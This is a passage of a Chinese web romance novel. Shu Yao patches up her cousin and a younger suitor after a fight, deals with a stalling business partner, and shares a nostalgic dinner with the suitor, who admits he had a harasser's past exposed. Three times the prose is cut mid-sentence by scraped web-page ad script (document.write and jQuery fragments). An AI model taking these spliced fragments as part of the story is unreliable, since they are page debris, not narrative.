鉴于沈曜的眼神压迫性十足,王若安将差点出口的“嫩”改成了“青春”。 沈曜的眼帘刚垂下去,就见王若安捂着后脑勺。 原来是从卧室拿着医药箱出来的舒瑶重重弹了一下他的脑袋。 “姐,你干嘛弹我!”王若安皱着脸,抱怨。 “叫你乱说。管好你的嘴。”舒瑶气鼓鼓地训他,手里忙不停,“都受伤了,能不能消停点?!” 王若安总算乖得安静下来。 舒瑶将药箱放在茶几上打开,取出其中的碘酒、药酒和纱布等,瓶瓶罐罐地摆了一排。 王若安凑过去,惊奇道:“姐,你一个女孩家,哪来这么多疗伤圣品?平时兼职打手去了?” “去你的。”舒瑶绷不住了,笑骂,“有些是我早就备下的,有的是娓娓拿来的,还有的是我妈拿来的。一来二去的就积存这么多了。你们看看这些够不够?” “够了够了,姐你快帮我拿碘酒擦脸上的伤。这小子下手太黑了。”王若安大大方方地对舒瑶抬抬脸。 舒瑶轻叹一声,取过碘伏棒轻手轻脚地给王若安料理眼角和嘴角的伤。 等给这个活祖宗擦完伤,舒瑶转头一瞥,瞧见沈曜正眼神殷殷地望着自己。 舒瑶在心里直叹。这都是什么事儿啊……活了这么久,第一次有男生为自己大打出手,还是个小自己这么多的男生。 “轮到你了。”舒瑶看向沈曜,尾音沉下来。 她此刻的眼神有点微妙,像是在生气,又夹着那么一点点让人难以察觉的娇嗔,看得沈曜心里甜丝丝的。 舒瑶走到沈曜身前站着,弯腰仔细观察他脸上的伤。除了嘴角有一点擦伤,倒没其他的伤。 沈曜仰着头,一双灼人的眼睛黏在舒瑶脸上,亮晶晶的眼神里全是期待。从上方看过去,少年气很重,有点像是在不自觉地撒娇。 舒瑶知道他的经历,又带过他两年,只要他露出示弱的表情,舒瑶心底对他的怜惜就会抑制不住的泛滥。 舒瑶抿抿嘴,瞪他一眼,错开他纠缠的视线,小声埋怨道:“你怎么出手这么快。也不问个青红皂白。万一把人打坏怎么办。” 一边说,她一边小心地给他涂碘伏。 “他都对你抱上了,还有什么可问的。”沈曜不服气,想到那个场面,心里的怒火就有暴走的趋势,恨不得跳起来再和王若安打一架,“打坏了才好。给他长长记性!” 舒瑶又气又好笑,曲起手指扣了一下他的额头,“你就是桀骜难驯。下次不许这么冲动。你俩今天差点没吓死我。” “下次有人还敢对你乱来,我还揍。”沈曜眼神阴翳,根本不听训。 舒瑶拿他一点儿办法都没有,只剩无奈。 王若安在一旁看得啧啧出声,心里直冒酸水,感觉自己的姐姐被人抢走了。 看他姐对这小男生不自觉露出的宠溺样子,要说她姐心里对小男生毫不在意,那是骗鬼呢。 不过具体是不是男女之间的那种喜欢,还很难说。他得继续观察。 王若安决定且看且八卦,对身旁的男生说:“小朋友。你不向未来小舅子自我介绍一下?” 舒瑶听他口无遮拦,转头就拧了一下他的胳膊,成功换来王若安的一声“哎呦”。 “你正常点儿!”舒瑶白了他一眼,将用过的碘伏棒扔进茶几边的垃圾桶。 沈曜轻蔑地勾了勾嘴角,极简单的回应:“沈曜。” “这就完了?”王若安有点难以置信。这男生敢对自己这么傲慢,是真心想追他姐吗?“身高,体重,在哪儿高就,家住何方,不得都来一套?” 沈曜嗤了声,“有病。” 王若安惊讶地指着他,向舒瑶告状:“姐,你看看他像话吗?” 舒瑶笑着点他额头,“你和他都不像话。” 王若安啧了一声,算是默认。他就是难得撞见有人追他姐的现场,心里不得闲。 舒瑶轻轻拍了拍茶几,示意两人坐好,抱起胳膊居高临下地俯视他们,说:“你们明天去医院检查一下伤情,然后把报告拿给我看。” 刚才两人打得那么狠,她很担心他们身上的伤究竟重不重。 王若安哈哈笑着说不用了,被舒瑶一个眼刀给封住了嘴。她又看向沈曜,沈曜沉默两秒,点头算是同意了。 舒瑶本来想质问王若安没事跑来干嘛,但鉴于要给自家表弟留面子,还是决定等沈曜走了再说。 “姐,我今天住这儿不走了。我睡沙发就行。”王若安说。 舒瑶点头,又看向沈曜,“你呢?时间很晚了,我给你叫个网约车?” 沈曜摇头,“不用。现在还有公交车,我坐公交车回去就行。” 舒瑶顿了一下,“你身上……有什么比较重的伤吗?”自家弟弟在这儿住,等会儿沈曜走了她就能帮他检查,但沈曜不行,她只能口头上关心叮嘱一下。 “没吧。不严重,等回去让我室友帮我瞧瞧。”听沈曜这么说,舒瑶才放下心来。 已是深夜十一点多,沈曜走后,舒瑶觉得筋疲力尽。帮王若安检查完身上的伤,舒瑶暗自心惊。 沈曜下手也是够狠,以为王若安是醉酒的色狼,揍得他身上好几块都青青紫紫的。 舒瑶叮嘱他明天必须去医院好好检查一下。 今晚王若安培训后聚餐,他喝了不少酒,酒喝多了就会混闹,才有了刚才楼下他发酒疯被误认为色狼那一出。 王若安在卫生间里洗漱一番换了身衣服出来,酒醒的也差不多了。 两年前他也来过这儿,因此舒瑶给他备过一套男士家居服。 看着蜷在沙发上休息的姐姐,王若安问道:“姐,这小男生真在追你啊?” “嗯。”舒瑶有气无力地应了一声。 “他纠缠你吗?如果他敢纠缠你,我帮你去教训他。”王若安边拿毛巾擦头发边说。 舒瑶小时候在他家住过三年,表姐弟俩的深厚感情就是那时候打下的基础。 他虽然淘气过一阵子,初中到高中叛逆了好几年,没少惹得家里人和这位表姐头疼,但对这个表姐的感情是真心实意的。 如果哪个男人敢纠缠欺负舒瑶,王若安一定是会想办法让那人吃点苦头的。 “不至于纠缠那么严重。他挺有分寸的。”舒瑶感慨,“只是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 面对他,我总是狠不下心。以前他和我关系挺好的,认识很久了。” “很久?很久是多久?” “七年了吧。” 王若安有些惊讶,“那真是很久了。等等……几年前我们年夜饭聚餐,这小子是不是给你连视频那个?” “是。”舒瑶被他一提,才想到那年的春节,沈曜有次初六晚上还给她连视频,就为了给她看川城的烟花秀。“你竟然还记得?” “那可不。多难得啊。能在过年期间看到有异性找你。你说你长得那么好看,怎么异性缘这么差?到现在还没把自己嫁出去。” 舒瑶抿着嘴,不满地轻轻踢了他一脚,“什么话啊,说得你姐跟个快过期的商品等待处理似的。我那是谨慎择偶,对自己负责。谁像你,换女朋友换那么勤,渣男。” 王若安立刻为自己喊冤,辩解道:“哎哎扎心了老姐。我现在这个女朋友谈了快一年半了好吧,我俩还是很恩爱的。” 舒瑶懒洋洋地用手拨了拨头发,“那就好好谈着吧。你姐的事不用你操心。不过你这次来找我什么事?” 王若安小学一毕业就因为他爸的工作调动,全家迁到隔壁市定居。住得远了,两家来往就没以前那么勤,平常联络全靠电话。除了过年过节,舒瑶很难见到他。幸亏舒瑶小时候在他家住过几年,两人之间才能这么亲近。 “我这次是来参加员工培训,顺道过来看看你。我找了个连锁奶茶店的储备店长的工作,怎么样,厉害吧?” “嗯,不错。是份正经工作就行,别三天两头换工作,多花些时间精力深耕一行才能有所积累。” 王若安之前换工作和换女朋友差不多,几乎每半年就会换一个,非常不着调。舒瑶为他没少操心。 “知道了。”王若安从厨房拿了两个橘子,坐在沙发的另一头开始剥橘子,“话说回来。这小男生和你认识这么久,还追你,我觉得挺认真。你对他也有意思吧?否则这么关心人家干嘛?” 说到这个舒瑶就头疼,她思索一会儿,才说:“我对他不是那种心思。但确实挺在意他的。反正我俩关系有些复杂,一时半会儿我也说不清。” “在意就是一种能发展的好迹象啊。”王若安深扒她的观点,把剥好的一个橘子递给舒瑶,“你想想你以前处理的那些你觉得不合适的男人。我嘞个豆。那快刀斩乱麻的劲儿,我看着都抖。” 舒瑶简单敷衍道:“你不懂。别瞎掺和了。” “什么我不懂?我恋爱都谈了好几场了,比你经验丰富多了好吧。世上那么多情侣,哪有什么一步到位,见面就很登对的。那都得先处着磨合着,慢慢的两人的节奏一致了,感情也就稳定了。” 舒瑶用手掌撑着下巴,若有所思。若论恋爱,她的确不如表弟这么有经验。 “理想类型归理想类型。但大多数人找的另一半都不是原来心中设想的样子。你要是死磕一类到底,不太现实。就像你们公司接订单,不都是客户来了,具体知道什么样才会有对应方案么,哪有客户还没来,你们的策划稿就先做出来的?” “出息了。还教起你姐姐来了。”舒瑶倏地一笑,问:“那你这女朋友,是你理想型吗?” 王若安笑着搓了搓脸,“长相是。性格不是。但是磨合起来发现可以持续发展。说真的,我自己一开始都不信我能谈个这么长久的……” 听着表弟的喋喋不休,舒瑶的内心原本坚固的一块有些动摇了。 这次和沈曜的重逢,其实有两点非常触动她的心房。第一点就是他的长情,冲破岁月和空间的距离,跨过漫长的等待和断联,也没能让男生忘情;第二点就是今晚发生的一系列事情,令舒瑶亲自鉴证了他为自己而失控的用情。 反正除了沈曜,她从没见过哪个男的能对她这么掏心掏肺,毫不遮掩地展示对她的喜欢和用心。 但就像自己刚才和沈曜说的,她心里一直拿他当半个弟弟,如果真和他恋爱,她心里多少都会觉得有些乱、伦的错觉。 舒瑶揉了揉自己的头发,颇感纠结。 心烦……和这小男生的关系怎么就这么不干不脆地纠缠不清呢? 四年之前就拉扯过一阵,原本以为结束了。没想到四年之后的现在,又在拉扯。想到这些,舒瑶就觉得心里头乱乱的。 恰在这时,舒瑶的微信响了。 舒瑶拿起手机,解锁屏幕。 [沈曜:我到了。伤没事,你别担心。] 舒瑶用手指点着嘴唇,犹豫片刻,还是给他回了消息。 [舒瑶:明天还是去医院看看吧。] [沈曜:好。早点休息,晚安。] 男生没提今晚的事,让舒瑶松了口气。他没把她逼得太紧。 以后究竟该怎么对他呢?太随意和太果断好像都不太行。 这种矛盾又理不清的情绪,令舒瑶失去了以往的冷静和决绝。 就像表弟说的,自己终究是在意他的吧。 而且经历过这些,她发现自己对他好像越来越在意了。 57.转变 王若安隔天上午乖乖地去医院做了个检查,骨头没伤着,就是多处软组织挫伤。回想昨晚也真惊险,幸亏自己打过不少架,懂得如何在过程中格挡保护自己。 姐姐这个小追求者下手不是一般的狠。 但换个角度想想,那家伙身手好,从某方面来说并非坏事。 至少他就很看不起被人一揍就倒的男人。虽然说现在是法治社会,但是万一遇到一些危险情况,这男生如果和姐姐一起的话,基本不用担心他姐的人身安全了。 所以王若安心里就算有一丁点儿埋怨,但更多的是男人对男人的一种简单粗暴的欣赏。 舒瑶拿到王若安的检查报告,仔仔细细从头看到尾,确定他没事之后,才放心地窝在客厅茶几上整理下周的工作重点。 到了中午时分,沈曜将他的检查报告拍下来发给舒瑶。舒瑶见他这么乖,略微夸了两句。这事儿也就翻篇了。 舒瑶现在有些担心的是那位新加入项目的郑旭波。那晚没让他揩油吃到豆腐,还教训了他,不知道后面的进展他会不会使绊子影响他们工作。 她在这行连实习加正式工作满八年了,这类事不是没遇见过。 果然不出所料,到了周二下午时,负责跟进古风服饰博主和网游、手游角色扮演者人选确认事项的梅悦儿和钱晓蔓两人就来找舒瑶诉苦了。 梅悦儿与钱晓蔓一前一后来到舒瑶的办公位。 梅悦儿一脸凝重:“组长,昨天早上我们将古风服饰博主和网游、手游角色扮演者人选发给汉广文化对接的同事,请他们找他们的项目领导确认。本来说好昨天中午就给我们反馈的,但我发了两封催促邮件,电话也打了三个了,那边口头说着好,可到现在都没给我们反馈意见。怎么办啊?” 钱晓蔓跟着着急,“组长,他们是什么意思啊?是太忙了顾不上还是在拖延?” 舒瑶一听,立马想明白事情的严重性。 古风服饰大V博主和角色扮演者在五一这个黄金档期会收到很多动漫展或摄影活动的邀约,如果人选和具体时间不趁早确定下来影响他们安排别的演出,那和他们鸿轩的合作很可能会因为档期冲突而被迫终止。 到时候再找其他的博主或知名的角色扮演者,不仅咖位会下降,连演出价格的谈判也会陷入被动。 离开展时间只剩一个半月,多拖一天,风险就会增加不少。 舒瑶拧眉思索片刻,对两人说道:“这事我知道了。之前和汉广的沟通,出现过这种情况吗?” 钱晓蔓摇头,“没有。他们一直和我们联系的很紧密,各类事项都跟进的非常及时。” 舒瑶心里约莫有了底。 她一整天都在根据甲方的要求修改策划稿件,还没来得及看下午的未处理邮件。 她在一溜儿未读邮件里翻了一下,发现梅悦儿和钱晓蔓发的最新一封催促邮件有抄送汉广的项目执行负责人,还有那位新加入项目的郑总。 一般头一次的催促跟进邮件,是不会发给项目主管的。但如果邮件已经发了一次,加上电话催促一次那边仍然不回,事情又比较重要紧急,才会在第二次抄送项目负责的主管人员。 最新的催促时间是下午三点,从昨天中午到现在,已经拖延超过24小时。 对方负责接洽的执行人员有四个人,就算其中一、两个人有事,其他人也不至于同时都没看见这个邮件。 舒瑶的眉头微微蹙着,“拖得太久了,不太正常。按照我的建议,这事应该让他们的项目总负责人和我们的陈总知晓,阐明厉害关系。但直接一封通知邮件发出去,会显得太过生硬。这相当于连招呼都没打,就越过对接人和两方大老板告了他们的状,不利于后续合作。你们先回去处理其他工作,我去陈总办公室提前说一下,然后我亲自打电话再和汉广的项目负责人以及郑峰锐提醒一声。之后你们再发邮件提醒。这样处理更为柔软稳妥。你们先等我消息吧。” 梅悦儿和钱晓蔓放心了,连连点头说好,回自己坐位去做其他工作了。 舒瑶拿起咖啡抿了一口,在脑中过了一遍汇报内容,之后与陈理杰的秘书那边询问陈理杰下午是否有空。得知他下午没开会,也在办公室里,才去敲响了他办公室的门。 鉴于离活动举办剩的时间不多,作为此项目的主要执行负责人,舒瑶还有许多需要和对方沟通确认的工作要做。 为免反复发生类似情况,舒瑶将上周五晚上与汉广聚餐发生的小插曲一五一十和陈理杰做了汇报,也将自己的担忧一并告知。当然,她略去了沈曜教训郑旭波那一段。 陈理杰是个十分正直的老板,最反感这类利用工作之便行不轨图谋的事。听了舒瑶的汇报以后,对她遇见这类事情不胆怯不退缩的态度极为赞赏。 他当着舒瑶的面打电话去和郑峰锐隐晦地提了一下,得到对方的反馈后,就让舒瑶按照她的建议,亲自跟催这件事,且一定要将进展邮件抄送他和郑峰锐。 舒瑶回到座位后,先打电话给汉广对接的项目负责人田纪明口头催了一下人选的确定,然后才发了跟催邮件,将此事的重要影响和一些比较细节的问题写在邮件里。 表面看着好像是鸿轩策划这边对有些没交代清楚的细节做补充说明,实则是进一步催促对方尽快定下人选。 对方里子面子都被舒瑶捋得熨帖了,又看见抄送名单里双方的大老板都在,终于不敢再使小阴招,一小时内就将人选确认邮件发了过来。 此事就此解决。 这天下午沈曜正好在,他沉默地目睹了全程,表面没对此事多问,却拿起手机开始了自己的操作。 一周过去,汉广那边渐渐地有一些负面的消息传出。 事由是在他们员工论坛上传开的,有个帖子匿名曝光了他们其中有位高管品德不佳,总是利用职务便利对女职员伸出咸猪手。 没两天,帖子下面就开始有人跟风曝光这人是个惯犯,之前在别的企业任职时,也有过类似的记录,当时闹得还挺大。 一来二去,事件逐渐随着曝光度和关注度发酵,使汉广文化遭遇了一次不大不小的企业品牌名誉危机。 汉广文化正是打算扩张的紧要关头,各类宣传推广都在有条不紊的进行中。郑峰锐一瞧事态发展趋势不佳,立马就将郑旭波手头的重要广告推广项目给抽走了,让他暂时转到幕后去做后勤管理。 就算是亲戚,他也不敢拿汉广的名誉当玩笑。等躲过了这阵子风头再说。 舒瑶团队莫名其妙地捡了个便宜,与汉广合作项目的隐患就此消除。 整件事中,没被告知的就是沈曜教训郑旭波的这个小插曲。两边的老总不知道此事,郑旭波肯定也会因为丢人不主动提及。 舒瑶思来想去,虽然有些难以置信,但仍觉得这个天上掉下来的大便宜和沈曜有点关系。 于是在周末下班前,她很爽快地答应了沈曜发来的约会邀请,与他一起出去吃晚饭。 沈曜订的是一家在海城比较有名的西班牙餐厅。 一进入这家餐厅,随处可见棕色的瓶装雪莉酒和火红色的玫瑰。它们仿佛艺术品一般,成堆的被有序排放在餐厅的各个角落,四周还扎着彩色的气球以及连成串的彩虹星星灯。 一眼望去,将整个餐厅都烘托得十分有异国的浪漫气息。 两人被服务员领到一个靠墙的双人位置落座。座位旁的白墙上,悬着一副抽象的蓝色星空壁画。 在座位两旁,还摆放着两盆微型景观爬山虎。 舒瑶刚坐下,视线绕着周遭扫视一圈,那年与沈曜在西班牙花园餐厅一起吃饭的场景便历历在目。 这里与那个夏夜有太多重复的元素,很容易就能勾起两人当年的点滴回忆。 舒瑶盯着眼前的俊美青年,一副看透他用心的神情,揶揄道:“你挺会挑餐厅啊,这里真是有满满的回忆感。” 沈曜将外套挂在椅背后,露出内搭的白衬衫,又将衬衫袖口随意在小臂上挽了两圈,透出潇洒的松弛感。 “嗯。我故意的。” 他说得这么直白,反倒让舒瑶噎了一下,不知该如何接他的话了。 服务员恰在此时端了两杯装点着薄荷叶的柠檬水过来。 沈曜扫码,将手机递给舒瑶看菜单。舒瑶摇摇头,示意让他点就行。沈曜快速浏览完菜单,三两下就点好了。 舒瑶拿起杯子喝了两口柠檬水,酝酿片刻,决定还是先谈正事。“郑旭波那边最近麻烦不小。这事儿你知道吧?” 沈曜伸出手指拨弄了一下杯沿上点缀的翠绿薄荷叶,“知道。我干的。” 虽然已经猜到几分,但沈曜如此大方的承认,还是让舒瑶有些惊讶,“你……你这实诚的我都不知道该如何说你了。” 沈曜翘着嘴角,笑容里有显而易见的不屑。“那小人又怂又色,该给他点教训。” 男生的性格向来很拽,但拽中有细。 舒瑶知道是他做的,也还是忍不住好奇, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “你怎么做的?” “这种垃圾肯定是惯犯。我就随意用了点我师兄律所里的资源,查了查他的老底,还真不少。揩油算是轻的,比这过分好几倍的事儿他都干过。之前也是因为这种事,他在原公司混不下去了,才去他堂哥的汉广避风头。我不收拾他,老天都得收拾他。我也就顺水推舟了一把。”沈曜脸色不佳,语气中充满鄙夷,仿佛提到这些都脏了他的嘴。 舒瑶想到那人,撇撇嘴,也是止不住一阵恶心。 思及男生那天及时的出现,舒瑶的心里暖暖的,“其实那天你不来,我也要教训他的。但是你来了,我心里一下子就没那么慌乱害怕了。谢谢你给了我底气。” 原本提到不开心的事,沈曜的脸色和眼神都有些阴沉。但听舒瑶这么明明白白的和自己道谢,一瞬间他就脸红了,那绯红甚至蔓延到脖子上。 大男生脸红的纯情样子和平时的拽哥人设形成反差,怪可爱的。 舒瑶笑着调侃他:“事情都做了,突然害羞什么?” 虽是与他开玩笑的语气,可她声音柔和,并没让他感觉被对方轻视,反而透着一股亲昵劲儿。 沈曜羞赧地垂下脑袋,用左手的食指和中指搓了搓挺直的鼻梁,那枚象征“无尽的爱”的银戒指在浅金色灯光的映衬下,发出淡淡的温润光泽。 男生绯色的面颊和他那枚银戒指跃进她眼底,仿佛跳进了最深处。 舒瑶顿时也被那种甜蜜又酥软的情绪感染,心里泛起一阵躁动的温热。 两人一个看着杯中水,一个低着头时不时地抬眼偷看对面,粉红的氛围悄然浮起。 直到服务员将一盘五颜六色的海鲜沙拉端上来,才适时打破了他们之间的沉默。 男生脸上的红晕淡了一些,但还没消退干净。 舒瑶的语气中不自觉地带上一丝哄小孩似的宠溺,“菜来了,先吃吧。” “哦。”沈曜轻轻蹭了下鼻尖,才拿着叉子随便撩起一片生菜。 舒瑶到底比他年长几岁,引着谈话的节奏有一句没一句的与他边吃边聊。 她多将话题往沈曜的学业和工作上引,好不容易把氛围调节到正常范围内,菜也一一上齐了。 看完桌上的菜色,舒瑶心里直叹不能小看对面的小朋友。 这几道菜都是当年两人在水上乐园的餐厅里点过的,甚至连当时舒瑶逗少年而点的雪莉酒,他也一并点了两份。 看来这小子为了勾起她的回忆,真是没少花心思。 舒瑶在心里默默地笑他的幼稚,但同时还有一丝感动。他对于他们的曾经,都很用心地记住了。 桌上的烛光微微摇曳,为两人之间的气氛不断加温。带有海洋气息的清新香氛,随着奶白色蜡烛燃烧,在彼此间袅袅弥漫。 此时餐厅里的客人不算多,墙上挂的音响中,西班牙经典情歌《Abrázame》优美又带些伤感的乐声,时断时续地飘进人们的耳膜里。 歌名的意思是“拥抱我”。舒瑶以前很喜欢这首歌,所以它歌词的意思,她也大致都记得。 就在歌曲放到“你走了,我将一无所有”时,沈曜忽然抬头,灼热的视线缠上舒瑶的眼睛,问她:“你听过这首歌吗?” 舒瑶怔然两秒,嗯了一声。 沈曜的嘴边挂着浅浅的笑意,温柔低语道:“那就好。我喜欢它的歌词更胜于旋律。” 说着,他半阖眼睛,仿佛正在回忆歌词内容。 歌曲悠扬凄美,带着浓浓的不舍和缱绻的情意,萦绕在他们之间。 “如果你走了,我最好的年华和时光将跟随着你。” “我会一天比一天更爱着你。” “我会一直等待着你的回归。如果你走了……” 男生幽亮而充满深情的眼眸,被掩在半垂的眼帘之下。 舒瑶心里的弦像是被无声拨动了,跟着歌曲里的情丝微微地颤。 “沈曜,我……”舒瑶不得不承认,今晚的这顿晚餐,成功地触动了她心里那个感性的开关。 正当她想说什么时,搁在她手边的手机震动起来。 舒瑶抿抿嘴,只好先拿起手机。 来电显示:房东 舒瑶迅速整理心情,接起电话。“喂。房东太太,有什么事吗?” 对方在电话那头先说了一句抱歉,然后说她打算过两个月把房子挂牌卖了。 舒瑶蹙起眉头,对手机那头询问确认道:“那这么说,我得搬家了?” 58.帮忙 与房东简短的沟通后,舒瑶挂了电话。 沈曜听她与房东交流的只言片语,语露关切,“怎么?房东要毁约?” 舒瑶脸色有些凝重,“嗯。她说过两个月想把房子卖了,看来我得重新租房子了。或者……” 自己工作已有好些年,手头多少都有些积蓄,她粗略算了一下,要么干脆自己买个小点的房子算了? 总是租房子住,也不是个事儿。 “或者自己买套房?”沈曜猜到了她心中想法。 舒瑶:“有这个打算。不过要挑中称心如意的房子,说不定还得装修,怎么也要个一年半载的。这事我得回家和父母好好商量一下。先租一套临时过渡个一两年吧。” “嗯。”沈曜吃了一片火腿,放下刀叉,真诚的望着对面的女人,“后面有要出力气的地方,不管是搬家还是陪你看房,别客气,尽管使唤我。” 舒瑶正想和他避嫌呢,但既然他开了口,总不好当面拒绝驳了他的面子,于是笑着先答应下来。 两人吃完饭后,沈曜又将舒瑶送回她现在租住的华馨苑。 在楼下时,他再次遇见等舒瑶回来的王若安。 王若安对他“哟”了一声,简单打过招呼。 沈曜朝他抬了抬下巴,也算是勉强给了个回应。 因为有其他人在场,沈曜没和舒瑶多说什么,只叮嘱她早点休息就离开了。 沈曜走后,王若安屁颠颠儿地跟着舒瑶进了屋。 “你今天怎么又来了?”舒瑶边换拖鞋边问表弟,“你们在海城要培训多久?” 昨晚她劝架劝得都快虚脱了,就没细问王若安关于他工作的事。 “培训两星期,顺便再支援一下新开的两家店的试运营,统共得呆一个月吧。我这次跟着我们店长来的,他人很够意思。一直挺照顾我。”王若安换了拖鞋,进屋洗了手,在茶几下摸了包薯片吃起来。 “好吧。时间也不长,看来我搬家是指望不上你了。”舒瑶也将手洗干净,靠在沙发上喝水。 “搬家?”王若安疑惑,“好端端的搬什么家?” 舒瑶就将接到房东通知的事以及自己今后的打算和他大致说了一下。 王若安听后,眼珠子转了转,问舒瑶:“姐,既然你打算找个一两年的房子租着过渡一下。那你考不考虑跟人合租?说实话,你一漂亮女生单独住,我们都很担心你。如果有个伴儿一起合租,那会安全很多。” “合租?”舒瑶觉得王若安说的不无道理,但是脑中转了一圈,也没能想到哪个相熟女生能和自己合租。“我朋友都是本地的,大多数都结婚了,或者和男朋友同居。娓娓家住在中环,到哪儿都很方便,也没租房的必要。我没合适的女生合租啊。怎么,难道你有推荐的?” 王若安斜靠在沙发上,抓着薯片往嘴里扔,“就是我们店长啊。他外甥女大学不是毕业了嘛,也想在海城找工作。” 舒瑶纳闷,“你们店长不是和你一起在江城的吗?怎么外甥女想单独在海城打拼?” “我们店长这次培训完就留在海城总部了。他表现优异,所以被调过来了。他外甥女好像挺黏他的,一听他要来海城,说什么都要跟着一起来。” 原来如此。 “不过我们店长是真宠他外甥女啊。你没见过他俩在一起时那个劲儿,不知道的还以为是热恋的小情侣呢。”王若安补充道。 舒瑶轻轻敲了一下王若安的后脑勺,“行了。那是人家的事,少八卦,多给自己规划规划未来才最要紧。” “嘿嘿嘿……姐,你真的是女人吗?我怎么看你好像从来不喜欢八卦?”王若安嬉皮笑脸。 “天生酷姐。”舒瑶笑着从他捧着的薯片袋里捞了一片放进嘴里,“这答案OK吗?” “很OK!” “再说了。谁告诉你女人就一定喜欢八卦了?八卦不分男女,只和性格有关。”舒瑶吃完薯片,又去卫生间洗手,“你与其在这边瞎叨叨,不如和你们店长打听一下那女生性格如何,是否爱干净。我才好评估一下我能不能和她相处的来。” “Yes Madam!”王若安用两根手指在太阳穴边虚虚比划一下,像是敬礼。 舒瑶笑着拿起柜子上的毛绒玩具球扔他:“没个正形。调皮!” - 隔天,舒瑶忙完手头的事,约了和林娓娓去吃晚饭逛街。 没想到那天林娓娓遇见个难缠的客户,拖了她一个多小时还没放行。 舒瑶收拾完东西正准备去林娓娓的公司等她,结果王若安在此时给她打了电话。 “若安,什么事啊?”舒瑶戴上耳机,拿出唇膏修补唇色。 “姐。晚上有事没?” “约了娓娓吃饭逛街。算事吗?” “不算不算。我们在景泰商场的奶茶店试运营。反正你也要吃晚饭,不如和娓娓姐来这边呗?今晚我们店长的外甥女也要过来,我给你俩引荐引荐?” 景泰商场离舒瑶公司大概有七、八公里的距离,地铁坐个四、五站就能到。那边的客流量不大,吃晚饭倒是不会拥挤到排队的程度。舒瑶歪头想了想,觉得可行。 “行啊。我过去给你捧捧场。” “太好了。那我等你来哦。” 舒瑶挂了电话,又拨通林娓娓的手机和她说了说。林娓娓也讨厌人多排队等位的地方,一听舒瑶的建议,立马就答应了。 舒瑶将唇膏放回背包里,拿着手机去前厅等电梯。 这时,手机又震动起来。 舒瑶心想,今天自己的人缘有点好,刚下班就好几个人找。 她划开屏保,是来自沈曜的消息。 [沈曜:下班没?] [舒瑶:下了,等电梯。怎么了?] [沈曜:我在楼下。陪你走一段?] [舒瑶:你今天不是不实习吗?来这儿干嘛?] [沈曜:去我师兄律所帮了点忙,路过这里。] 人已经在楼下,舒瑶也不能将他赶回去。电梯这时正好来了,舒瑶没再回沈曜消息,进电梯下楼了。 舒瑶刚出了大楼的旋转门,就见青年站在不远处对她笑着挥手。 沈曜今天穿了件敞襟的白色磨毛衬衫,下身是卡其色的工装裤配马丁靴,单肩背着牛仔背包,立在西斜的太阳下,又酷又帅。 橙色夕阳给蔚蓝的天际铺了一层融金色的纱,衬得对面青年脸上的笑意无比温柔。 青年弯着眼睛,眸中的流光仿佛含着星星。舒瑶倏然觉得这个场景眼熟,一丝悸动攀上心头。 她记起,曾经过年时,少年和自己连视频拜年,他脸上也是这个直击人心的笑容。 舒瑶不由地加快脚步走到他身旁,笑嗔:“你知道我要去哪儿么,就说要陪我走。万一不顺路呢?” 沈曜嘴角挂着淡淡的笑意,“你要去哪儿?” 舒瑶将被风吹得有些凌乱的鬓发捋了一下,“去景泰商场。” 沈曜扩了笑容,“离我们学校不远。老天帮我了。” 舒瑶:“……” 自从表白后,沈曜的言辞中就总是会夹着一些直接或间接表露情感的语言,弄得舒瑶左右为难。 不让他说吧,人家明明就大大方方的在阐述自己心情;让他说吧,又总觉得他在无形间撩拨自己。 这小男生现在的段位有点高。她应付起来时常会觉得有点困难。 舒瑶虽然明着拒绝过两次沈曜,可她的心终究是肉做的。面对一个和自己有那么多牵绊与过去回忆的男生,硬要她冷下心肠对他毫不理睬,她做不到。 可能早在两人认识的七年前,他们就注定有一场牵扯不清的宿命缘分。 这段缘分里,有对彼此的信任依赖,有师生和姐弟一般的情谊,还有朋友一样的自在共处,怎么可能是一两句话就能分割得清呢? 两人一前一后的进了下班高峰期的地铁,沈曜用他的身高和力量,硬是为舒瑶在拥挤不堪的地铁里隔离出一小片能顺畅呼吸的小天地。 舒瑶看着男生额际微微冒出的细汗,仰头对他小声说了句谢谢。 大概因为彼此距离挨得极近,沈曜的眼睛就有些不受控制。他直勾勾地望着舒瑶,听到她的低语,感受到她呼出的温暖气息,忽的低下头,凑近她低喃道:“对我,永远不用说谢谢。” 这小男生又开始放电了…… 舒瑶沉默地扫了他一眼,将头偏向一边,躲开他的视线。 两人之后一路无话。 走出地铁站,往南又行十分钟,他们到了景泰商场。 舒瑶按照王若安分享的定位,很顺利的找到了他们的奶茶店。 景泰商场的位置有些尴尬,它在中环的偏外沿,因此人流量一直不上不下的。也许是租金便宜的关系,这家新开的奶茶店的店面还不小。 除去奶茶店的工作区,店里还摆了六副桌椅和两条长长的吧台,并一个甜品冷柜。店里的主打饮品除了各色奶茶之外,还有五、六种咖啡和几样蛋糕点心。 舒瑶见表弟在这种规模的奶茶店里工作,心里稍安。 单从店铺的规模就能看出,这家连锁奶 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 茶店并不是街边的小茶摊。表弟在里面工作,多少也会比较有保障和职业提升空间。 谁知她刚进了店门,王若安立即就跑到她跟前哭求,“老姐!救命啊……” 舒瑶被他面红耳赤的样子吓一跳,紧张地问:“怎么了?出什么事了?” “我们这儿之前有四个人,我、店长和两个妹子。但是其中一个妹子家里有事临时请假了,还有一个刚才做奶茶的时候不小心烫伤手去医院了。现在就我和店长两个人,要忙疯了啊啊啊!” 舒瑶:“没其他替补的员工了?” 王若安急得一头汗,“新开的店,还在试运营,人手还没招齐呢。你来帮我一个小时?让我们把今天的营业额先达成?还差150杯我们就达标了。不用你去帮客人点单,你就在后面帮店长递单子,店长会负责配料。你把配好的奶茶搅拌均匀,然后给奶茶封边加盖就行。” 舒瑶犯了难:“可娓娓等会儿就来了,我和她约好的……” 沈曜一直安静地跟在舒瑶身旁,听说这事,果断出声道:“别难为你姐了,她累一天了。反正我没事,我帮你。” 王若安一见有救,激动地差点喊他姐夫。 舒瑶没想到自己的表弟连他不甚熟悉的沈曜都敢麻烦,抱歉地对他说:“不好意思啊。你如果有事就走吧。别勉强,我来就行。” 沈曜笑着看看她,“不麻烦。我巴不得你多欠我一点儿。” 